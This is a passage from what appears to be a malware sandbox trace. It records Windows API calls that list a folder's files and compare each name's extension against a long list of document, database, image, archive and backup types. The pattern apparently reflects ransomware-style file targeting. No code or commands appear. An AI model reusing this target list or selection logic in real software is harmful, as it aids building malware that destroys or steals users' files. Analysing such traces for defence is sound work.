nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.261] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.261] lstrlenW (lpString="index.html") returned 10 [0182.261] lstrlenW (lpString=".1cd") returned 4 [0182.262] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".3ds") returned 4 [0182.262] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".3fr") returned 4 [0182.262] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".3g2") returned 4 [0182.262] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".3gp") returned 4 [0182.262] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".7z") returned 3 [0182.262] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.262] lstrlenW (lpString=".accda") returned 6 [0182.262] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".accdb") returned 6 [0182.262] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".accdc") returned 6 [0182.262] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".accde") returned 6 [0182.262] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".accdt") returned 6 [0182.262] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".accdw") returned 6 [0182.262] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.262] lstrlenW (lpString=".adb") returned 4 [0182.262] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".adp") returned 4 [0182.262] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.262] lstrlenW (lpString=".ai") returned 3 [0182.262] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.262] lstrlenW (lpString=".ai3") returned 4 [0182.263] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ai4") returned 4 [0182.263] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ai5") returned 4 [0182.263] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ai6") returned 4 [0182.263] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ai7") returned 4 [0182.263] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ai8") returned 4 [0182.263] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".anim") returned 5 [0182.263] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.263] lstrlenW (lpString=".arw") returned 4 [0182.263] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".as") returned 3 [0182.263] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.263] lstrlenW (lpString=".asa") returned 4 [0182.263] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".asc") returned 4 [0182.263] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".ascx") returned 5 [0182.263] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.263] lstrlenW (lpString=".asm") returned 4 [0182.263] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.263] lstrlenW (lpString=".asmx") returned 5 [0182.263] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.263] lstrlenW (lpString=".asp") returned 4 [0182.264] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".aspx") returned 5 [0182.264] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.264] lstrlenW (lpString=".asr") returned 4 [0182.264] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".asx") returned 4 [0182.264] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".avi") returned 4 [0182.264] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".avs") returned 4 [0182.264] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".backup") returned 7 [0182.264] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.264] lstrlenW (lpString=".bak") returned 4 [0182.264] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".bay") returned 4 [0182.264] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".bd") returned 3 [0182.264] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.264] lstrlenW (lpString=".bin") returned 4 [0182.264] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".bmp") returned 4 [0182.264] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".bz2") returned 4 [0182.264] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".c") returned 2 [0182.264] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.264] lstrlenW (lpString=".cdr") returned 4 [0182.264] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.264] lstrlenW (lpString=".cer") returned 4 [0182.264] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cf") returned 3 [0182.265] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.265] lstrlenW (lpString=".cfc") returned 4 [0182.265] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cfm") returned 4 [0182.265] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cfml") returned 5 [0182.265] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.265] lstrlenW (lpString=".cfu") returned 4 [0182.265] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".chm") returned 4 [0182.265] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cin") returned 4 [0182.265] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".class") returned 6 [0182.265] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.265] lstrlenW (lpString=".clx") returned 4 [0182.265] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".config") returned 7 [0182.265] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.265] lstrlenW (lpString=".cpp") returned 4 [0182.265] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cr2") returned 4 [0182.265] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".crt") returned 4 [0182.265] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".crw") returned 4 [0182.265] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.265] lstrlenW (lpString=".cs") returned 3 [0182.265] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.265] lstrlenW (lpString=".css") returned 4 [0182.266] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".csv") returned 4 [0182.266] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".cub") returned 4 [0182.266] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dae") returned 4 [0182.266] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dat") returned 4 [0182.266] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".db") returned 3 [0182.266] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.266] lstrlenW (lpString=".dbf") returned 4 [0182.266] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dbx") returned 4 [0182.266] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dc3") returned 4 [0182.266] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dcm") returned 4 [0182.266] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dcr") returned 4 [0182.266] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".der") returned 4 [0182.266] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dib") returned 4 [0182.266] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dic") returned 4 [0182.266] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".dif") returned 4 [0182.266] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.266] lstrlenW (lpString=".divx") returned 5 [0182.266] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.266] lstrlenW (lpString=".djvu") returned 5 [0182.266] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.266] lstrlenW (lpString=".dng") returned 4 [0182.267] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".doc") returned 4 [0182.267] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".docm") returned 5 [0182.267] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.267] lstrlenW (lpString=".docx") returned 5 [0182.267] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.267] lstrlenW (lpString=".dot") returned 4 [0182.267] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dotm") returned 5 [0182.267] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.267] lstrlenW (lpString=".dotx") returned 5 [0182.267] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.267] lstrlenW (lpString=".dpx") returned 4 [0182.267] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dqy") returned 4 [0182.267] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dsn") returned 4 [0182.267] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dt") returned 3 [0182.267] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.267] lstrlenW (lpString=".dtd") returned 4 [0182.267] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dwg") returned 4 [0182.267] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dwt") returned 4 [0182.267] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".dx") returned 3 [0182.267] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.267] lstrlenW (lpString=".dxf") returned 4 [0182.267] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.267] lstrlenW (lpString=".edml") returned 5 [0182.268] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.268] lstrlenW (lpString=".efd") returned 4 [0182.268] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".elf") returned 4 [0182.268] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".emf") returned 4 [0182.268] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".emz") returned 4 [0182.268] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".epf") returned 4 [0182.268] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".eps") returned 4 [0182.268] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".epsf") returned 5 [0182.268] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.268] lstrlenW (lpString=".epsp") returned 5 [0182.268] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.268] lstrlenW (lpString=".erf") returned 4 [0182.268] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".exr") returned 4 [0182.268] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".f4v") returned 4 [0182.268] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".fido") returned 5 [0182.268] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.268] lstrlenW (lpString=".flm") returned 4 [0182.268] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".flv") returned 4 [0182.268] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.268] lstrlenW (lpString=".frm") returned 4 [0182.269] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".fxg") returned 4 [0182.269] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".geo") returned 4 [0182.269] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".gif") returned 4 [0182.269] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".grs") returned 4 [0182.269] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".gz") returned 3 [0182.269] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.269] lstrlenW (lpString=".h") returned 2 [0182.269] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.269] lstrlenW (lpString=".hdr") returned 4 [0182.269] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".hpp") returned 4 [0182.269] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".hta") returned 4 [0182.269] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".htc") returned 4 [0182.269] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".htm") returned 4 [0182.269] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.269] lstrlenW (lpString=".html") returned 5 [0182.269] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.269] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.269] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.269] lstrlenW (lpString=".1cd") returned 4 [0182.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.270] lstrlenW (lpString=".3ds") returned 4 [0182.270] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.270] lstrlenW (lpString=".3fr") returned 4 [0182.270] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.270] lstrlenW (lpString=".3g2") returned 4 [0182.270] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.270] lstrlenW (lpString=".3gp") returned 4 [0182.270] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.270] lstrlenW (lpString=".7z") returned 3 [0182.270] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.270] lstrlenW (lpString=".accda") returned 6 [0182.270] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.270] lstrlenW (lpString=".accdb") returned 6 [0182.270] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.270] lstrlenW (lpString=".accdc") returned 6 [0182.270] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.270] lstrlenW (lpString=".accde") returned 6 [0182.270] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.270] lstrlenW (lpString=".accdt") returned 6 [0182.270] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.270] lstrlenW (lpString=".accdw") returned 6 [0182.270] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.271] lstrlenW (lpString=".adb") returned 4 [0182.271] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.271] lstrlenW (lpString=".adp") returned 4 [0182.271] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.271] lstrlenW (lpString=".ai") returned 3 [0182.271] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.272] lstrlenW (lpString=".ai3") returned 4 [0182.285] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".ai4") returned 4 [0182.285] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".ai5") returned 4 [0182.285] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".ai6") returned 4 [0182.285] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".ai7") returned 4 [0182.285] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".ai8") returned 4 [0182.285] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".anim") returned 5 [0182.285] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.285] lstrlenW (lpString=".arw") returned 4 [0182.285] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.285] lstrlenW (lpString=".as") returned 3 [0182.285] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.286] lstrlenW (lpString=".asa") returned 4 [0182.286] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".asc") returned 4 [0182.286] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".ascx") returned 5 [0182.286] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.286] lstrlenW (lpString=".asm") returned 4 [0182.286] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".asmx") returned 5 [0182.286] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.286] lstrlenW (lpString=".asp") returned 4 [0182.286] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".aspx") returned 5 [0182.286] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.286] lstrlenW (lpString=".asr") returned 4 [0182.286] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".asx") returned 4 [0182.286] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".avi") returned 4 [0182.286] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".avs") returned 4 [0182.286] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.286] lstrlenW (lpString=".backup") returned 7 [0182.286] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.287] lstrlenW (lpString=".bak") returned 4 [0182.287] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".bay") returned 4 [0182.287] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".bd") returned 3 [0182.287] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.287] lstrlenW (lpString=".bin") returned 4 [0182.287] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".bmp") returned 4 [0182.287] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".bz2") returned 4 [0182.287] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".c") returned 2 [0182.287] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.287] lstrlenW (lpString=".cdr") returned 4 [0182.287] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".cer") returned 4 [0182.287] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".cf") returned 3 [0182.287] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.287] lstrlenW (lpString=".cfc") returned 4 [0182.287] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.287] lstrlenW (lpString=".cfm") returned 4 [0182.287] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".cfml") returned 5 [0182.288] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.288] lstrlenW (lpString=".cfu") returned 4 [0182.288] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".chm") returned 4 [0182.288] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".cin") returned 4 [0182.288] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".class") returned 6 [0182.288] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.288] lstrlenW (lpString=".clx") returned 4 [0182.288] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".config") returned 7 [0182.288] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.288] lstrlenW (lpString=".cpp") returned 4 [0182.288] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".cr2") returned 4 [0182.288] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".crt") returned 4 [0182.288] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".crw") returned 4 [0182.288] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.288] lstrlenW (lpString=".cs") returned 3 [0182.288] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.288] lstrlenW (lpString=".css") returned 4 [0182.289] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".csv") returned 4 [0182.289] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".cub") returned 4 [0182.289] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".dae") returned 4 [0182.289] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".dat") returned 4 [0182.289] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".db") returned 3 [0182.289] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.289] lstrlenW (lpString=".dbf") returned 4 [0182.289] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".dbx") returned 4 [0182.289] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.289] lstrlenW (lpString=".dc3") returned 4 [0182.289] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".dcm") returned 4 [0182.290] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".dcr") returned 4 [0182.290] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".der") returned 4 [0182.290] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".dib") returned 4 [0182.290] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".dic") returned 4 [0182.290] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".dif") returned 4 [0182.290] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".divx") returned 5 [0182.290] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.290] lstrlenW (lpString=".djvu") returned 5 [0182.290] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.290] lstrlenW (lpString=".dng") returned 4 [0182.290] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".doc") returned 4 [0182.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.290] lstrlenW (lpString=".docm") returned 5 [0182.290] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.291] lstrlenW (lpString=".docx") returned 5 [0182.291] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.291] lstrlenW (lpString=".dot") returned 4 [0182.291] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.291] lstrlenW (lpString=".dotm") returned 5 [0182.291] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.291] lstrlenW (lpString=".dotx") returned 5 [0182.292] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.292] lstrlenW (lpString=".dpx") returned 4 [0182.292] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dqy") returned 4 [0182.292] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dsn") returned 4 [0182.292] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dt") returned 3 [0182.292] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.292] lstrlenW (lpString=".dtd") returned 4 [0182.292] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dwg") returned 4 [0182.292] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dwt") returned 4 [0182.292] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".dx") returned 3 [0182.292] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.292] lstrlenW (lpString=".dxf") returned 4 [0182.292] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.292] lstrlenW (lpString=".edml") returned 5 [0182.293] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.293] lstrlenW (lpString=".efd") returned 4 [0182.293] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".elf") returned 4 [0182.293] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".emf") returned 4 [0182.293] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".emz") returned 4 [0182.293] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".epf") returned 4 [0182.293] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".eps") returned 4 [0182.293] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".epsf") returned 5 [0182.293] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.293] lstrlenW (lpString=".epsp") returned 5 [0182.293] lstrcmpiW 